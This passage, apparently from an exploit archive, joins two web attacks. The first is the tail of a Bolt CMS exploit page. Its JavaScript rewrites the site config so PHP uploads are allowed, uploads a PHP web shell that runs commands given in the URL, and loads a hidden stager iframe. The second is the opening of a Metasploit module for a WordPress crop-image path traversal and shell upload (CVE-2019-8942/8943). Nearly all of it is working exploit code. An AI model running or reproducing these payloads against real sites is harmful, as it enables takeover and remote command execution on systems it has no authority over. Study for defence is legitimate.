.yml+file+in+your+theme\\\'s%0D%0A%23+++++++folder.+If+a+template+is+set+there%2C+it+will+override+the+setting+here.%0D%0Ahomepage%3A+homepage%2F1%0D%0Ahomepage_template%3A+index.twig%0D%0A%0D%0A%23+The+default+content+for+the+404+page.+Can+be+an+(array+of)+template+names+or%0D%0A%23+identifiers+for+records%2C+which+will+be+tried+until+a+match+is+found.%0D%0A%23%0D%0A%23+Note%3A+The+record+specified+in+this+parameter+must+be+set+to+\\\'published\\\'.%0D%0Anotfound%3A+%5B+not-found.twig%2C+block%2F404-not-found+%5D%0D%0A%0D%0A%23+The+default+template+for+single+record+pages+on+the%0D%0A%23+site.%0D%0A%23%0D%0A%23+Can+be+overridden+for+each+contenttype+and+for+each+record%2C+if+it+has+a%0D%0A%23+\\\'templateselect\\\'+field.%0D%0A%23%0D%0A%23+Note%3A+If+you\\\'ve+changed+the+filename%2C+and+your+changes+do+not+show+up+on+the%0D%0A%23+++++++website%2C+be+sure+to+check+for+a+config.yml+file+in+your+theme\\\'s+folder.%0D%0A%23+++++++If+a+template+is+set+there%2C+it+will+override+the+setting+here.%0D%0Arecord_template%3A+record.twig%0D%0A%0D%0A%23+The+default+template+and+amount+of+records+to+use+for+listing-pages+on+the%0D%0A%23+site.%0D%0A%23%0D%0A%23+Can+be+overridden+for+each+contenttype.%0D%0A%23%0D%0A%23+Note+1%3A+Sorting+on+TAXONOMY-pages+will+give+unexpected+results%2C+if+it+has+a%0D%0A%23+++++++++pager.%0D%0A%23+++++++++If+you+need+sorting+on+those%2C+make+sure+you+display+all+the+records+on+one%0D%0A%23+++++++++page.%0D%0A%23%0D%0A%23+Note+2%3A+If+you\\\'ve+changed+the+filename%2C+and+your+changes+do+not+show+up+on+the%0D%0A%23+++++++++website%2C+be+sure+to+check+for+a+config.yml+file+in+your+theme\\\'s%0D%0A%23+++++++++folder.+If+a+template+is+set+there%2C+it+will+override+the+setting+here.%0D%0Alisting_template%3A+listing.twig%0D%0Alisting_records%3A+6%0D%0Alisting_sort%3A+datepublish+DESC%0D%0A%0D%0A%23+Because+of+limitations+on+how+the+underlying+database+queries+work%2C+there+are%0D%0A%23+only+two+options+for+sorting+on+taxonomies.+\\\'ASC\\\'+for+roughly+%22oldest+first%22%0D%0A%23+and+\\\'DESC\\\'+for+roughly+\\\'newest+first\\\'.%0D%0Ataxonomy_sort%3A+DESC%0D%0A%0D%0A%23+Template+for+showing+the+search+results.+If+not+defined%2C+uses+the+settings+for%0D%0A%23+listing_template+and+listing_records.%0D%0A%23%0D%0A%23+Note%3A+If+you\\\'ve+changed+the+filename%2C+and+your+changes+do+not+show+up+on+the%0D%0A%23+++++++website%2C+be+sure+to+check+for+a+config.yml+file+in+your+theme\\\'s+folder.%0D%0A%23+++++++If+a+template+is+set+there%2C+it+will+override+the+setting+here.%0D%0Asearch_results_template%3A+search.twig%0D%0Asearch_results_records%3A+10%0D%0A%0D%0A%23+Add+jQuery+to+the+rendered+HTML%2C+whether+or+not+it\\\'s+added+by+an+extension.%0D%0Aadd_jquery%3A+false%0D%0A%0D%0A%23+The+default+amount+of+records+to+show+on+overview+pages.+Can+be+overridden%0D%0A%23+for+each+contenttype.%0D%0Arecordsperpage%3A+10%0D%0A%0D%0A%23+Settings+for+caching+in+parts+of+Bolt.%0D%0A%23+-+config%3A++++++++Caches+the+parsed+.yml+files+from+%2Fapp%2Fconfig.+It\\\'s+updated%0D%0A%23++++++++++++++++++immediately+when+one+of+the+files+changes+on+disk.+There%0D%0A%23++++++++++++++++++should+be+no+good+reason+to+turn+this+off.%0D%0A%23%0D%0A%23+-+templates%3A+++++Caches+rendered+templates.%0D%0A%23%0D%0A%23+-+request%3A+++++++Caches+rendered+pages+in+the+configured+HTTP+reverse+proxy%0D%0A%23++++++++++++++++++cache%2C+on+GET+%26+HEAD+requests.%0D%0A%23++++++++++++++++++By+default+this+is+handled+by+Syfmony+HTTP+Cache.%0D%0A%23%0D%0A%23+-+duration%3A++++++The+duration+(in+minutes)+for+the+\\\'templates\\\'+and+\\\'request\\\'%0D%0A%23++++++++++++++++++options.+default+is+10+minutes.+Note+that+the+duration+is+set%0D%0A%23++++++++++++++++++on+storing+the+cache.+By+lowering+this+value+you+will+not%0D%0A%23++++++++++++++++++invalidate+currently+cached+items.%0D%0A%23%0D%0A%23+-+authenticated%3A+Cache+\\\'templates\\\'+and+\\\'request\\\'+for+logged-on+users.+In+most%0D%0A%23++++++++++++++++++cases+you+should+*NOT*+enable+this%2C+because+it+will+cause%0D%0A%23++++++++++++++++++side-effects+if+the+website+shows+different+content+to%0D%0A%23++++++++++++++++++authenticated+users.%0D%0A%23%0D%0A%23+-+thumbnails%3A++++Caches+thumbnail+generation.%0D%0A%23%0D%0A%23+-+translations%3A++Caches+translation+files.+It+is+recommend+to+leave+this%0D%0A%23++++++++++++++++++enabled.+Only+if+you+develop+extensions+and+work+with%0D%0A%23++++++++++++++++++translation+files+you+should+turn+this+off.%0D%0Acaching%3A%0D%0A++++config%3A+true%0D%0A++++templates%3A+true%0D%0A++++request%3A+false%0D%0A++++duration%3A+10%0D%0A++++authenticated%3A+false%0D%0A++++thumbnails%3A+true%0D%0A++++translations%3A+true%0D%0A%0D%0A%23+Set+\\\'enabled\\\'+to+\\\'true\\\'+to+log+all+content+changes+in+the+database.%0D%0A%23%0D%0A%23+Unless+you+need+to+rigorously+monitor+every+change+to+your+site\\\'s+content%2C+it%0D%0A%23+is+recommended+to+keep+this+disabled.%0D%0Achangelog%3A%0D%0A++++enabled%3A+false%0D%0A%0D%0A%23+Default+settings+for+thumbnails.%0D%0A%23%0D%0A%23+Quality+should+be+between+0+(horrible%2C+small+file)+and+100+(best%2C+huge+file).%0D%0A%23%0D%0A%23+cropping%3A+++++++++++One+of+either+crop%2C+fit%2C+borders%2C+resize.%0D%0A%23+default_thumbnail%3A++The+default+size+of+images%2C+when+using%0D%0A%23+++++++++++++++++++++%7B%7B+record.image%7Cthumbnail()+%7D%7D%0D%0A%23+default_image%3A++++++The+default+size+of+images%2C+when+using%0D%0A%23+++++++++++++++++++++%7B%7B+record.image%7Cimage()+%7D%7D%0D%0A%23+allow_upscale%3A++++++Determines+whether+small+images+will+be+enlarged+to+fit%0D%0A%23+++++++++++++++++++++the+requested+dimensions.%0D%0A%23+browser_cache_time%3A+Sets+the+amount+of+seconds+that+the+browser+will+cache%0D%0A%23+++++++++++++++++++++images+for.+Set+it+to+activate+browser+caching.%0D%0A%23%0D%0A%23+Note%3A+If+you+change+these+values%2C+you+might+need+to+clear+the+cache+before%0D%0A%23+++++++they+show+up.%0D%0Athumbnails%3A%0D%0A++++default_thumbnail%3A+%5B+160%2C+120+%5D%0D%0A++++default_image%3A+%5B+1000%2C+750+%5D%0D%0A++++quality%3A+80%0D%0A++++cropping%3A+crop%0D%0A++++notfound_image%3A+bolt_assets%3A%2F%2Fimg%2Fdefault_notfound.png%0D%0A++++error_image%3A+bolt_assets%3A%2F%2Fimg%2Fdefault_error.png%0D%0A++++save_files%3A+false%0D%0A++++allow_upscale%3A+false%0D%0A++++exif_orientation%3A+true%0D%0A++++only_aliases%3A+false%0D%0A%23++++browser_cache_time%3A+2592000%0D%0A%0D%0A%23+Define+the+HTML+tags+and+attributes+that+are+allowed+in+\\\'cleaned\\\'+HTML.+This%0D%0A%23+is+used+for+sanitizing+HTML%2C+to+make+sure+there+are+no+undesirable+elements%0D%0A%23+left+in+the+content+that+is+shown+to+users.+For+example%2C+tags+like+%60%3Cscript%3E%60%0D%0A%23+or+%60onclick%60-attributes.%0D%0A%23+Note%3A+enabling+options+in+the+%60wysiwyg%60+settings+will+implicitly+add+items+to%0D%0A%23+the+allowed+tags.+For+example%2C+if+you+set+%60images%3A+true%60%2C+the+%60%3Cimg%3E%60+tag%0D%0A%23+will+be+allowed%2C+regardless+of+it+being+in+the+%60allowed_tags%60+setting.%0D%0Ahtmlcleaner%3A%0D%0A++++allowed_tags%3A+%5B+div%2C+span%2C+p%2C+br%2C+hr%2C+s%2C+u%2C+strong%2C+em%2C+i%2C+b%2C+li%2C+ul%2C+ol%2C+mark%2C+blockquote%2C+pre%2C+code%2C+tt%2C+h1%2C+h2%2C+h3%2C+h4%2C+h5%2C+h6%2C+dd%2C+dl%2C+dt%2C+table%2C+tbody%2C+thead%2C+tfoot%2C+th%2C+td%2C+tr%2C+a%2C+img%2C+address%2C+abbr%2C+iframe%2C+caption%2C+sub%2C+sup%2C+figure%2C+figcaption+%5D%0D%0A++++allowed_attributes%3A+%5B+id%2C+class%2C+style%2C+name%2C+value%2C+href%2C+src%2C+alt%2C+title%2C+width%2C+height%2C+frameborder%2C+allowfullscreen%2C+scrolling%2C+target%2C+colspan%2C+rowspan+%5D%0D%0A%0D%0A%23+Uploaded+file+handling%0D%0A%23%0D%0A%23+You+can+change+the+pattern+match+and+replacement+on+uploaded+files+and+if+the%0D%0A%23+resulting+filename+should+be+transformed+to+lower+case.%0D%0A%23%0D%0A%23+Setting+\\\'autoconfirm%3A+true\\\'+prevents+the+creation+of+temporary+lock+files%0D%0A%23+while+uploading.%0D%0A%23%0D%0A%23+upload%3A%0D%0A%23+++++pattern%3A+\\\'%5B%5EA-Za-z0-9%5C.%5D%2B\\\'%0D%0A%23+++++replacement%3A+\\\'-\\\'%0D%0A%23+++++lowercase%3A+true%0D%0A%23+++++autoconfirm%3A+false%0D%0A%0D%0A%23+Define+the+file+types+(extensions+to+be+exact)+that+are+acceptable+for+upload%0D%0A%23+in+either+\\\'file\\\'+fields+or+through+the+\\\'files\\\'+screen.%0D%0Aaccept_file_types%3A+%5B+php%2C+twig%2C+html%2C+js%2C+css%2C+scss%2C+gif%2C+jpg%2C+jpeg%2C+png%2C+ico%2C+zip%2C+tgz%2C+txt%2C+md%2C+doc%2C+docx%2C+pdf%2C+epub%2C+xls%2C+xlsx%2C+ppt%2C+pptx%2C+mp3%2C+ogg%2C+wav%2C+m4a%2C+mp4%2C+m4v%2C+ogv%2C+wmv%2C+avi%2C+webm%2C+svg%5D%0D%0A%0D%0A%23+Alternatively%2C+if+you+wish+to+limit+these%2C+uncomment+the+following+list%0D%0A%23+instead.+It+just+includes+file+types+%2F+extensions+that+are+harder+to+exploit.%0D%0A%23+accept_file_types%3A+%5B+gif%2C+jpg%2C+jpeg%2C+png%2C+txt%2C+md%2C+pdf%2C+epub%2C+mp3%2C+svg+%5D%0D%0A%0D%0A%23+If+you+want+to+\\\'brand\\\'+the+Bolt+backend+for+a+client%2C+you+can+change+some+key%0D%0A%23+variables+here%2C+that+determine+the+name+of+the+backend%2C+and+adds+a+primary%0D%0A%23+support%2Fcontact+link+to+the+footer.++Add+a+scheme%2C+like+%60mailto%3A%60+or%0D%0A%23+%60https%3A%2F%2F%60+to+the+email+or+URL.%0D%0A%23%0D%0A%23+Additionally+you+can+change+the+mount+point+for+the+backend%2C+either+for%0D%0A%23+convenience+or+to+obscure+it+from+prying+eyes.%0D%0A%23%0D%0A%23+The+Bolt+backend+is+accessible+as+%60%2Fbolt%2F%60+by+default.+If+you+change+it+here%2C%0D%0A%23+it+will+only+be+accessible+through+the+value+set+in+\\\'path\\\'.%0D%0A%23+Keep+the+path+simple%3A+lowercase+only%2C+no+extra+slashes+or+other+special%0D%0A%23+characters.%0D%0A%23+branding%3A%0D%0A%23+++++name%3A+SuperCMS%0D%0A%23+++++path%3A+%2Fadmin%0D%0A%23+++++provided_by%3A+%5B+supercool%40example.org%2C+%22Supercool+Webdesign+Co.%22+%5D%0D%0A%23+++++news_source%3A+http%3A%2F%2Fnews.example.org%0D%0A%23+++++news_variable%3A+news%0D%0A%0D%0A%23+Show+the+\\\'debug\\\'+nut+in+the+lower+right+corner+for+logged-in+user.+By+default%2C%0D%0A%23+the+debugbar+is+only+shown+to+logged-in+users.+Use+the+\\\'debug_show_loggedoff\\\'%0D%0A%23+option+to+show+it+to+all+users.+You+probably+do+not+want+to+use+this+in+a%0D%0A%23+production+environment.%0D%0Adebug%3A+true%0D%0Adebug_show_loggedoff%3A+true%0D%0Adebug_permission_audit_mode%3A+false%0D%0Adebug_error_level%3A+8181+++++++++++%23+equivalent+to+E_ALL+%26~+E_NOTICE+%26~+E_DEPRECATED+%26~+E_USER_DEPRECATED+%26~+E_WARNING%0D%0A%23+debug_error_level%3A+-1+++++++++++++++%23+equivalent+to+E_ALL%0D%0Adebug_error_use_symfony%3A+false++++++%23+When+set+to+true%2C+Symfony+Profiler+will+be+used+for+exception+display+when+possible%0D%0Adebug_trace_argument_limit%3A+4+++++++%23+Determine+how+many+steps+in+the+backtrace+will+show+(dump)+arguments.%0D%0A%0D%0A%23+error+level+when+debug+is+disabled%0D%0Aproduction_error_level%3A+8181+%23+%3D+E_ALL+%26~+E_NOTICE+%26~+E_WARNING+%26~+E_DEPRECATED+%26~+E_USER_DEPRECATED%0D%0A%0D%0A%23+System+debug+logging%0D%0A%23+This+will+enable+intensive+logging+of+Silex+functions+and+will+be+very+hard+on%0D%0A%23+performance+and+log+file+size.++++The+log+file+will+be+created+in+your+cache%0D%0A%23+directory.%0D%0A%23%0D%0A%23+Enable+this+for+short+time+periods+only+when+diagnosing+system+issues.%0D%0A%23+The+level+can+be+either%3A+DEBUG%2C+INFO%2C+NOTICE%2C+WARNING%2C+ERROR%2C+CRITICAL%2C+ALERT%2C+EMERGENCY%0D%0Adebuglog%3A%0D%0A++++enabled%3A+false%0D%0A++++filename%3A+bolt-debug.log%0D%0A++++level%3A+DEBUG%0D%0A%0D%0A%23+Use+strict+variables.+This+will+make+Bolt+complain+if+you+use+%7B%7B+foo+%7D%7D%2C%0D%0A%23+when+foo+doesn\\\'t+exist.%0D%0Astrict_variables%3A+false%0D%0A%0D%0A%23+There+are+several+options+for+giving+editors+more+options+to+insert+images%2C%0D%0A%23+video%2C+etc+in+the+WYSIWYG+areas.+But%2C+as+you+give+them+more+options%2C+that%0D%0A%23+means+they+also+have+more+ways+of+breaking+the+preciously+designed+layout.%0D%0A%23%0D%0A%23+By+default+the+most+\\\'dangerous\\\'+options+are+set+to+\\\'false\\\'.+If+you+choose+to%0D%0A%23+enable+them+for+your+editors%2C+please+instruct+them+thoroughly+on+their%0D%0A%23+responsibility+not+to+break+the+layout.%0D%0Awysiwyg%3A%0D%0A++++images%3A+false++++++++++++%23+Allow+users+to+insert+images+in+the+content.%0D%0A++++anchor%3A+false++++++++++++%23+Adds+a+button+to+create+internal+anchors+to+link+to.%0D%0A++++tables%3A+false++++++++++++%23+Adds+a+button+to+insert+and+modify+tables+in+the+content.%0D%0A++++fontcolor%3A+false+++++++++%23+Allow+users+to+mess+around+with+font+coloring.%0D%0A++++align%3A+false+++++++++++++%23+Adds+buttons+for+\\\'align+left\\\'%2C+\\\'align+right\\\'%2C+etc.%0D%0A++++subsuper%3A+false++++++++++%23+Adds+buttons+for+subscript+and+superscript%2C+using+%60%3Csub%3E%60+and+%60%3Csup%3E%60.%0D%0A++++embed%3A+false+++++++++++++%23+Allows+the+user+to+insert+embedded+video\\\'s+from+Youtube%2C+Vimeo%2C+etc.%0D%0A++++underline%3A+false+++++++++%23+Adds+a+button+to+underline+text%2C+using+the+%60%3Cu%3E%60-tag.%0D%0A++++ruler%3A+false+++++++++++++%23+Adds+a+button+to+add+a+horizontal+ruler%2C+using+the+%60%3Chr%3E%60-tag.%0D%0A++++strike%3A+false++++++++++++%23+Adds+a+button+to+add+stikethrough%2C+using+the+%60%3Cs%3E%60-tag.%0D%0A++++blockquote%3A+false++++++++%23+Allows+the+user+to+insert+blockquotes+using+the+%60%3Cblockquote%3E%60-tag.%0D%0A++++codesnippet%3A+false+++++++%23+Allows+the+user+to+insert+code+snippets+using+%60%3Cpre%3E%3Ccode%3E%60-tags.%0D%0A++++specialchar%3A+false+++++++%23+Adds+a+button+to+insert+special+chars+like+\\\'%E2%82%AC\\\'+or+\\\'%E2%84%A2\\\'.%0D%0A++++clipboard%3A+false+++++++++%23+Adds+buttons+to+\\\'undo\\\'+and+\\\'redo\\\'.%0D%0A++++copypaste%3A+false+++++++++%23+Adds+buttons+to+\\\'cut\\\'%2C+\\\'copy\\\'+and+\\\'paste\\\'.%0D%0A++++ck%3A%0D%0A++++++++autoParagraph%3A+true++%23+If+set+to+\\\'true\\\'%2C+any+pasted+content+is+wrapped+in+%60%3Cp%3E%60-tags+for+multiple+line-breaks%0D%0A++++++++disableNativeSpellChecker%3A+true+%23+If+set+to+\\\'true\\\'+it+will+stop+browsers+from+underlining+spelling+mistakes%0D%0A++++++++allowNbsp%3A+false+++++%23+If+set+to+\\\'false\\\'%2C+the+editor+will+strip+out+%60%26nbsp%3B%60+characters.+If+set+to+\\\'true\\\'%2C+it+will+allow+them.+%C2%AF%5C_(%E3%83%84)_%2F%C2%AF%0D%0A%0D%0A%23+Bolt+uses+the+Google+maps+API+for+it\\\'s+geolocation+field+and+Google+now%0D%0A%23+requires+that+it+be+loaded+with+an+API+key+on+new+domains.+You+can+generate%0D%0A%23+a+key+at+https%3A%2F%2Fdevelopers.google.com%2Fmaps%2Fdocumentation%2Fjavascript%2Fget-api-key%0D%0A%23+and+enter+it+here+to+make+sure+that+the+geolocation+field+works.%0D%0A%23+google_api_key%3A%0D%0A%0D%0A%23+Global+option+to+enable%2Fdisable+the+live+editor%0D%0Aliveeditor%3A+false%0D%0A%0D%0A%23+Use+the+\\\'mailoptions\\\'+setting+to+configure+how+Bolt+sends+email%3A+using+\\\'smtp\\\'%0D%0A%23+or+PHP\\\'s+built-in+%60mail()%60-function.%0D%0A%0D%0A%23+Note+that+the+latter+might+_seem_+easier%2C+but+it\\\'s+been+disabled+by+a+lot+of%0D%0A%23+webhosts%2C+in+order+to+prevent+spam+from+wrongly+configured+scripts.+If+you+use%0D%0A%23+it%2C+your+mail+might+disappear+into+a+black+hole%2C+without+producing+any+errors.%0D%0A%23+Generally+speaking%2C+using+\\\'smtp\\\'+is+the+better+option%2C+so+use+that+if+possible.%0D%0A%23%0D%0A%23+Protip%3A+If+your+webhost+does+not+support+SMTP%2C+sign+up+for+a+(free)+Sparkpost%0D%0A%23+account+at+https%3A%2F%2Fwww.sparkpost.com%2Fpricing%2F+for+sending+emails+reliably.%0D%0A%23%0D%0A%23+The+mail+defaults+use+bolt%40yourhostname+with+the+site+title+as+a+default.%0D%0A%23+Override+this+with+the+senderName+and+senderMail+fields%0D%0A%0D%0A%23+mailoptions%3A%0D%0A%23+++++transport%3A+smtp%0D%0A%23+++++spool%3A+true%0D%0A%23+++++host%3A+localhost%0D%0A%23+++++port%3A+25%0D%0A%23+++++username%3A+username%0D%0A%23+++++password%3A+password%0D%0A%23+++++encryption%3A+null%0D%0A%23+++++auth_mode%3A+null%0D%0A%23+++++senderMail%3A+null%0D%0A%23+++++senderName%3A+null%0D%0A%0D%0A%23+mailoptions%3A%0D%0A%23+++++transport%3A+mail%0D%0A%23+++++spool%3A+false%0D%0A%0D%0A%23+Bolt+allows+some+modifications+to+how+\\\'strict\\\'+login+sessions+are.+For+every%0D%0A%23+option+that+is+set+to+true%2C+it+becomes+harder+for+a+bad-willing+person+to%0D%0A%23+spoof+your+login+session.+However%2C+it+also+requires+you+to+re-authenticate%0D%0A%23+more+often+if+you+change+location(ip-address)+or+your+browser+has+frequent%0D%0A%23+upgrades.+Only+change+these+if+you+know+what+you\\\'re+doing%2C+and+you\\\'re+having%0D%0A%23+issues+with+the+default+settings.%0D%0A%23%0D%0A%23+Note%3A+If+you+change+any+of+these%2C+all+current+users+will+automatically+be%0D%0A%23+++++++logged+off.%0D%0Acookies_use_remoteaddr%3A+true%0D%0Acookies_use_browseragent%3A+false%0D%0Acookies_use_httphost%3A+true%0D%0A%0D%0A%23+The+length+of+time+a+user+stays+\\\'logged+in\\\'.+Change+to+0+to+end+the+session%0D%0A%23+when+the+browser+is+closed.%0D%0A%23%0D%0A%23+The+default+is+1209600+(two+weeks%2C+in+seconds).%0D%0Acookies_lifetime%3A+1209600%0D%0A%0D%0A%23+Set+the+session+cookie+to+a+specific+domain.+Leave+blank%2C+unless+you+know+what%0D%0A%23+you\\\'re+doing.%0D%0A%23%0D%0A%23+When+set+incorrectly%2C+you+might+not+be+able+to+log+on+at+all.%0D%0A%23%0D%0A%23+If+you\\\'d+like+it+to+be+valid+for+all+subdomains+of+\\\'www.example.org\\\'%2C+set+this%0D%0A%23+to+\\\'.example.org\\\'.%0D%0Acookies_domain%3A%0D%0A%0D%0A%23+The+hash_strength+determines+the+amount+of+iterations+for+encrypting%0D%0A%23+passwords.%0D%0A%23%0D%0A%23+A+higher+number+means+a+harder+to+decrypt+password%2C+but+takes+longer+to%0D%0A%23+compute.+\\\'8\\\'+is+the+minimum%2C+\\\'10\\\'+is+the+default%2C+\\\'12\\\'+is+better.%0D%0Ahash_strength%3A+10%0D%0A%0D%0A%23+Bolt+sets+the+%60X-Frame-Options%60+and+%60Frame-Options%60+to+%60SAMEORIGIN%60+by%0D%0A%23+default%2C+to+prevent+the+web+browser+from+rendering+an+iframe+if+origin%0D%0A%23+mismatch+(i.e.+iframe+source+refers+to+a+different+domain).%0D%0A%23%0D%0A%23+Setting+this+to+\\\'false\\\'%2C+will+prevent+the+setting+of+these+headers.%0D%0A%23+headers%3A%0D%0A%23+++++x_frame_options%3A+true%0D%0A%0D%0A%23+Bolt+uses+market.bolt.cm+to+fetch+it\\\'s+extensions+by+default.+You+can%0D%0A%23+change+that+URL+here.%0D%0A%23%0D%0A%23+Do+not+change+this%2C+unless+you+know+what+you\\\'re+doing%2C+and+understand+the%0D%0A%23+associated+risks.+If+you+use+\\\'http%3A%2F%2Fmarket.bolt.cm\\\'%2C+Bolt+will+not+use%0D%0A%23+SSL%2C+increasing+the+risk+for+a+MITM+attacks.%0D%0A%23+extensions%3A%0D%0A%23+++++site%3A+\\\'https%3A%2F%2Fmarket.bolt.cm%2F\\\'%0D%0A%23+++++enabled%3A+true%0D%0A%23+++++composer%3A%0D%0A%23+++++++++minimum-stability%3A+stable++++++%23+Either+\\\'stable\\\'%2C+\\\'beta\\\'%2C+or+\\\'dev\\\'.+Setting+\\\'dev\\\'+will+allow+you+to+install+dev-master+versions+of+extensions.%0D%0A%23+++++++++prefer-stable%3A+true++++++++++++%23+Prefer+stable+releases+over+development+ones%0D%0A%23+++++++++prefer-dist%3A+true++++++++++++++%23+Forces+installation+from+package+dist+even+for+dev+versions.%0D%0A%23+++++++++prefer-source%3A+false+++++++++++%23+Forces+installation+from+package+sources+when+possible%2C+including+VCS+information.%0D%0A%23+++++++++config%3A%0D%0A%23+++++++++++++optimize-autoloader%3A+false+++++%23+Optimize+autoloader+during+autoloader+dump.%0D%0A%23+++++++++++++classmap-authoritative%3A+false++%23+Autoload+classes+from+the+classmap+only.+Implicitly+enables+%60optimize-autoloader%60.%0D%0A%0D%0A%23+Enforcing+the+use+of+SSL.+If+set%2C+all+pages+will+enforce+an+SSL+connection%2C%0D%0A%23+and+redirect+to+HTTPS+if+you+attempt+to+visit+plain+HTTP+pages.%0D%0A%23+enforce_ssl%3A+true%0D%0A%0D%0A%23+If+configured%2C+Bolt+will+trust+X-Forwarded-XXX+headers+from+the+listed+IP%0D%0A%23+addresses+and+ranges+when+determining+whether+the+current+request+is%0D%0A%23+\\\'secure\\\'.%0D%0A%23%0D%0A%23+This+is+required+to+correctly+determine+the+current+hostname+and+protocol%0D%0A%23+(HTTP+vs.+HTTPS)+when+running+behind+some+proxy%2C+e.g.+a+load+balancer%2C+cache%2C%0D%0A%23+or+SSL+proxy.%0D%0A%23%0D%0A%23+List+the+IP+addresses+or+subnets+that+you+know+are+such+proxies.%0D%0A%23%0D%0A%23+Note%3A+Allowing+hosts+here+that+may+not+be+trusted+proxies+is+a+security+risk.%0D%0A%23+++++++If+you+do+not+understand+what+this+does%2C+it+is+probably+best+to+not%0D%0A%23+++++++touch+it.%0D%0A%23+trustProxies%3A%0D%0A%23+++++-+127.0.0.1%0D%0A%23+++++-+10.0.0.0%2F8%0D%0A%0D%0A%23+If+you+want+Bolt+installation+get+news+through+a+proxy%0D%0A%23+httpProxy%3A%0D%0A%23+++++host%3A+scheme%3A%2F%2Fmy.proxy.server%3Aport%0D%0A%23+++++user%3A+%5Busr%5D%0D%0A%23+++++password%3A+%5Bpwd%5D%0D%0A%0D%0A%23+Options+for+backend+user+interface%0D%0A%23+backend%3A%0D%0A%23++++news%3A%0D%0A%23++++++++disable%3A+true+++++%23+Disable+news+panel.+Defaults+to+false.+%22Alerts%22+will+still+be+shown.%0D%0A%23++++stack%3A%0D%0A%23++++++++disable%3A+true+++++%23+Disable+stack+usage.+Defaults+to+false.%0D%0A%0D%0A%23+Options+that+will+be+forced+in+next+major+version%0D%0Acompatibility%3A%0D%0A++++%23+Whether+to+return+TemplateView+instead+of+TemplateResponse+from+Controller%5CBase%3A%3Arender()%0D%0A++++%23+Response+methods+cannot+be+used+on+TemplateView+objects.%0D%0A++++%23+Setting+this+value+to+false+is+deprecated.%0D%0A++++template_view%3A+true%0D%0A++++%23+Set+to+\\\'false\\\'+to+enable+using+a+newer+version+of+the+setcontent+parser.%0D%0A++++setcontent_legacy%3A+true%0D%0A&file_edit%5Bsave%5D=undefined\\n\";\r\n" + 
          "            var aBody = new Uint8Array(body.length);\r\n" + 
          "            for (var i = 0; i \x3c aBody.length; i++)\r\n" + 
          "              aBody[i] = body.charCodeAt(i); \r\n" + 
          "            xhr.send(new Blob([aBody]));\r\n" + 
          "        }\r\n" + 
          "\r\n" + 
          "        function UploadShell() {\r\n" + 
          "            var xhr = new XMLHttpRequest();\r\n" + 
          "            xhr.open(\"POST\", bolt_admin_url + \"/upload\", true);\r\n" + 
          "            xhr.setRequestHeader(\"Accept\", \"application\\/json, text\\/javascript, *\\/*; q=0.01\");\r\n" + 
          "            xhr.setRequestHeader(\"Accept-Language\", \"en-US,en;q=0.5\");\r\n" + 
          "            xhr.setRequestHeader(\"Content-Type\", \"multipart\\/form-data; boundary=---------------------------130713229751679908527494159\");\r\n" + 
          "            xhr.withCredentials = true;\r\n" + 
          "            var body = \"-----------------------------130713229751679908527494159\\r\\n\" + \r\n" + 
          "              \"Content-Disposition: form-data; name=\\\"files[]\\\"; filename=\\\"shell.php\\\"\\r\\n\" + \r\n" + 
          "              \"Content-Type: text/plain\\r\\n\" + \r\n" + 
          "              \"\\r\\n\" + \r\n" + 
          "              \"\\x3c?php echo(system($_GET[\\\'cmd\\\'])); ?\\x3e\\n\" + \r\n" + 
          "              \"\\r\\n\" + \r\n" + 
          "              \"-----------------------------130713229751679908527494159--\\r\\n\";\r\n" + 
          "            var aBody = new Uint8Array(body.length);\r\n" + 
          "            for (var i = 0; i \x3c aBody.length; i++)\r\n" + 
          "              aBody[i] = body.charCodeAt(i); \r\n" + 
          "            xhr.send(new Blob([aBody]));\r\n" + 
          "        }\r\n" + 
          "    }\r\n" + 
          "\r\n" + 
          "    exploit();\r\n" + 
          "\r\n" + 
          "\x3c/script\x3e\r\n" + 
          "\n" + 
          "\r\n" + 
          "-----------------------------130713229751679908527494159--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));

        setTimeout(function() {
            var dateObj = new Date();
            var folder = dateObj.getFullYear() + "-" + (String("00"+(dateObj.getMonth()+1)).slice(-2));
            document.getElementById('stager').src = target + "/files/"+folder+"/stager.html";
            console.log("Called stager! Wait a moment and access: " + target + "/files/" + folder + "/shell.php?cmd=whoami");
         }, 2000);

      }

      window.onload = function() {
        exploit();
      };

    </script>
     <iframe id="stager" style="width:0;height:0;border:0;border:none" src=""></iframe>
  </body>
</html>
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HTTP::Wordpress

  def initialize(info = {})
    super(update_info(
      info,
      'Name'            => 'WordPress Crop-image Shell Upload',
      'Description'     => %q{
          This module exploits a path traversal and a local file inclusion
          vulnerability on WordPress versions 5.0.0 and <= 4.9.8.
          The crop-image function allows a user, with at least author privileges,
          to resize an image and perform a path traversal by changing the _wp_attached_file
          reference during the upload. The second part of the exploit will include
          this image in the current theme by changing the _wp_page_template attribute
          when creating a post.

          This exploit module only works for Unix-based systems currently.
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
      [
        'RIPSTECH Technology',                               # Discovery
        'Wilfried Becard <wilfried.becard@synacktiv.com>'    # Metasploit module
      ],
    'References'      =>
      [
        [ 'CVE', '2019-8942' ],
        [ 'CVE', '2019-8943' ],
        [ 'URL', 'https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/']
      ],
      'DisclosureDate'  => 'Feb 19 2019',
      'Platform'        => 'php',
      'Arch'            => ARCH_PHP,
      'Targets'         => [['WordPress', {}]],
      'DefaultTarget'   => 0
    ))

    register_options(
      [
        OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']),
        OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with'])
      ])
  end

  def check
    cookie = wordpress_login(username, password)
    if cookie.nil?
      store_valid_credential(user: username, private: password, proof: cookie)
      return CheckCode::Safe
    end

    CheckCode::Appears
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def get_wpnonce(cookie)
    uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'media-new.php')
    res = send_request_cgi(
      'method'    => 'GET',
      'uri'       => uri,
      'cookie' => cookie
    )
    if res && res.code == 200 && res.body && !res.body.empty?
      res.get_hidden_inputs.first["_wpnonce"]
    end
  end

  def get_wpnonce2(image_id, cookie)
    uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php')
